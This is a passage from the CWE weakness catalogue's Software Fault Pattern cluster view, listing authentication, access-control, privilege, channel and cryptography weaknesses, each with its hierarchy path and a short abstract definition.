This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Restriction of Excessive Authentication Attempts - (307)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 955 (SFP Secondary Cluster: Unrestricted Authentication) > 307 (Improper Restriction of Excessive Authentication Attempts)
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Access Control - (899)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control)
This category identifies Software Fault Patterns (SFPs) within the Access Control cluster (SFP35).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Access Management - (944)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 944 (SFP Secondary Cluster: Access Management)
This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Ownership Management - (282)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 944 (SFP Secondary Cluster: Access Management) > 282 (Improper Ownership Management)
The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unverified Ownership - (283)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 944 (SFP Secondary Cluster: Access Management) > 283 (Unverified Ownership)
The product does not properly verify that a critical resource is owned by the proper entity.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Improper Access Control - (284)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 944 (SFP Secondary Cluster: Access Management) > 284 (Improper Access Control)
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.Authorization
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect User Management - (286)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 944 (SFP Secondary Cluster: Access Management) > 286 (Incorrect User Management)
The product does not properly manage a user within its environment.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Ownership Assignment - (708)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 944 (SFP Secondary Cluster: Access Management) > 708 (Incorrect Ownership Assignment)
The product assigns an owner to a resource, but the owner is outside of the intended control sphere.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Insecure Resource Access - (945)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 945 (SFP Secondary Cluster: Insecure Resource Access)
This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Authorization - (285)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 945 (SFP Secondary Cluster: Insecure Resource Access) > 285 (Improper Authorization)
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.AuthZ
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Protection of Alternate Path - (424)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 945 (SFP Secondary Cluster: Insecure Resource Access) > 424 (Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authorization Bypass Through User-Controlled Key - (639)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 945 (SFP Secondary Cluster: Insecure Resource Access) > 639 (Authorization Bypass Through User-Controlled Key)
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.Insecure Direct Object Reference / IDORBroken Object Level Authorization / BOLAHorizontal Authorization
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Trusting HTTP Permission Methods on the Server Side - (650)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 945 (SFP Secondary Cluster: Insecure Resource Access) > 650 (Trusting HTTP Permission Methods on the Server Side)
The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Insecure Resource Permissions - (946)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions)
This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Default Permissions - (276)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions) > 276 (Incorrect Default Permissions)
During installation, installed file permissions are set to allow anyone to modify those files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Insecure Inherited Permissions - (277)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions) > 277 (Insecure Inherited Permissions)
A product defines a set of insecure permissions that are inherited by objects that are created by the program.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Insecure Preserved Inherited Permissions - (278)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions) > 278 (Insecure Preserved Inherited Permissions)
A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Execution-Assigned Permissions - (279)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions) > 279 (Incorrect Execution-Assigned Permissions)
While it is executing, the product sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Preservation of Permissions - (281)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions) > 281 (Improper Preservation of Permissions)
The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of umask() with chmod-style Argument - (560)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions) > 560 (Use of umask() with chmod-style Argument)
The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Permission Assignment for Critical Resource - (732)
888 (Software Fault Pattern (SFP) Clusters) > 899 (SFP Primary Cluster: Access Control) > 946 (SFP Secondary Cluster: Insecure Resource Permissions) > 732 (Incorrect Permission Assignment for Critical Resource)
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Privilege - (901)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege)
This category identifies Software Fault Patterns (SFPs) within the Privilege cluster (SFP36).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Execution with Unnecessary Privileges - (250)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 250 (Execution with Unnecessary Privileges)
The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Privilege Assignment - (266)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 266 (Incorrect Privilege Assignment)
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Privilege Defined With Unsafe Actions - (267)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 267 (Privilege Defined With Unsafe Actions)
A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Privilege Chaining - (268)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 268 (Privilege Chaining)
Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Privilege Management - (269)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 269 (Improper Privilege Management)
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Privilege Context Switching Error - (270)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 270 (Privilege Context Switching Error)
The product does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Privilege Dropping / Lowering Errors - (271)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 271 (Privilege Dropping / Lowering Errors)
The product does not drop privileges before passing control of a resource to an actor that does not have those privileges.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Least Privilege Violation - (272)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 272 (Least Privilege Violation)
The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Insufficient Privileges - (274)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 274 (Improper Handling of Insufficient Privileges)
The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource..NET Misconfiguration: Use of Impersonation - (520)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 520 (.NET Misconfiguration: Use of Impersonation)
Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Isolation or Compartmentalization - (653)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 653 (Improper Isolation or Compartmentalization)
The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions.Separation of Privilege
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Misconfiguration: Weak Access Permissions for EJB Methods - (9)
888 (Software Fault Pattern (SFP) Clusters) > 901 (SFP Primary Cluster: Privilege) > 9 (J2EE Misconfiguration: Weak Access Permissions for EJB Methods)
If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Channel - (902)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel)
This category identifies Software Fault Patterns (SFPs) within the Channel cluster.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Channel Attack - (956)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack)
This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass by Spoofing - (290)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 290 (Authentication Bypass by Spoofing)
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass by Capture-replay - (294)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 294 (Authentication Bypass by Capture-replay)
A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Channel Accessible by Non-Endpoint - (300)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 300 (Channel Accessible by Non-Endpoint)
The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.Adversary-in-the-Middle / AITMMan-in-the-Middle / MITMPerson-in-the-Middle / PITMMonkey-in-the-MiddleMonster-in-the-MiddleOn-path attackInterception attack
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reflection Attack in an Authentication Protocol - (301)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 301 (Reflection Attack in an Authentication Protocol)
Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unprotected Primary Channel - (419)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 419 (Unprotected Primary Channel)
The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unprotected Alternate Channel - (420)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 420 (Unprotected Alternate Channel)
The product protects a primary channel, but it does not use the same level of protection for an alternate channel.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Race Condition During Access to Alternate Channel - (421)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 421 (Race Condition During Access to Alternate Channel)
The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Unintended Proxy or Intermediary ('Confused Deputy') - (441)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 956 (SFP Secondary Cluster: Channel Attack) > 441 (Unintended Proxy or Intermediary ('Confused Deputy'))
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.Confused Deputy
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Protocol Error - (957)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 957 (SFP Secondary Cluster: Protocol Error)
This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Support for Integrity Check - (353)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 957 (SFP Secondary Cluster: Protocol Error) > 353 (Missing Support for Integrity Check)
The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Improper Interaction Between Multiple Correctly-Behaving Entities - (435)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 957 (SFP Secondary Cluster: Protocol Error) > 435 (Improper Interaction Between Multiple Correctly-Behaving Entities)
An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.Interaction ErrorEmergent Fault
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Interpretation Conflict - (436)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 957 (SFP Secondary Cluster: Protocol Error) > 436 (Interpretation Conflict)
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incomplete Model of Endpoint Features - (437)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 957 (SFP Secondary Cluster: Protocol Error) > 437 (Incomplete Model of Endpoint Features)
A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') - (757)
888 (Software Fault Pattern (SFP) Clusters) > 902 (SFP Primary Cluster: Channel) > 957 (SFP Secondary Cluster: Protocol Error) > 757 (Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'))
A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Cryptography - (903)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography)
This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Broken Cryptography - (958)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 958 (SFP Secondary Cluster: Broken Cryptography)
This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Cryptographic Step - (325)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 958 (SFP Secondary Cluster: Broken Cryptography) > 325 (Missing Cryptographic Step)
The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Use of a Broken or Risky Cryptographic Algorithm - (327)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 958 (SFP Secondary Cluster: Broken Cryptography) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The product uses a broken or risky cryptographic algorithm or protocol.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Weak Hash - (328)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 958 (SFP Secondary Cluster: Broken Cryptography) > 328 (Use of Weak Hash)
The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of a One-Way Hash without a Salt - (759)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 958 (SFP Secondary Cluster: Broken Cryptography) > 759 (Use of a One-Way Hash without a Salt)
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of a One-Way Hash with a Predictable Salt - (760)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 958 (SFP Secondary Cluster: Broken Cryptography) > 760 (Use of a One-Way Hash with a Predictable Salt)
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Weak Cryptography - (959)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography)
This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Weak Encoding for Password - (261)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 261 (Weak Encoding for Password)
Obscuring a password with a trivial encoding does not protect the password.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Key Exchange without Entity Authentication - (322)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 322 (Key Exchange without Entity Authentication)
The product performs a key exchange with an actor without verifying the identity of that actor.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reusing a Nonce, Key Pair in Encryption - (323)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 323 (Reusing a Nonce, Key Pair in Encryption)
Nonces should be used for the present occasion and only once.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of a Key Past its Expiration Date - (324)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 324 (Use of a Key Past its Expiration Date)
The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Inadequate Encryption Strength - (326)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 326 (Inadequate Encryption Strength)
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Generation of Predictable IV with CBC Mode - (329)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 329 (Generation of Predictable IV with CBC Mode)
